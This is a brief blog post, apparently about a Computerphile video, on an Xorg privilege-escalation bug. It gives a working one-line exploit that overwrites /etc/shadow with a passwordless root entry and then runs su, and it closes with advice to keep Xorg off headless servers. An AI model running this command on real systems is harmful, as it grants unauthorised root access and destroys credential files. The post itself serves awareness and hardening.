eXploit X : “Give Me Root” – Computerphile

by on Nov.11, 2018, under Code, Exploits, Posts, Videos

Example of exploit: cd /etc; Xorg -fp “root::16431:0:99999:7:::” -logfile shadow :1;su

This is just another reason why if you run a headless server, to not have Xorg or a GUI installed. Reduce the attack surface as much as you can.

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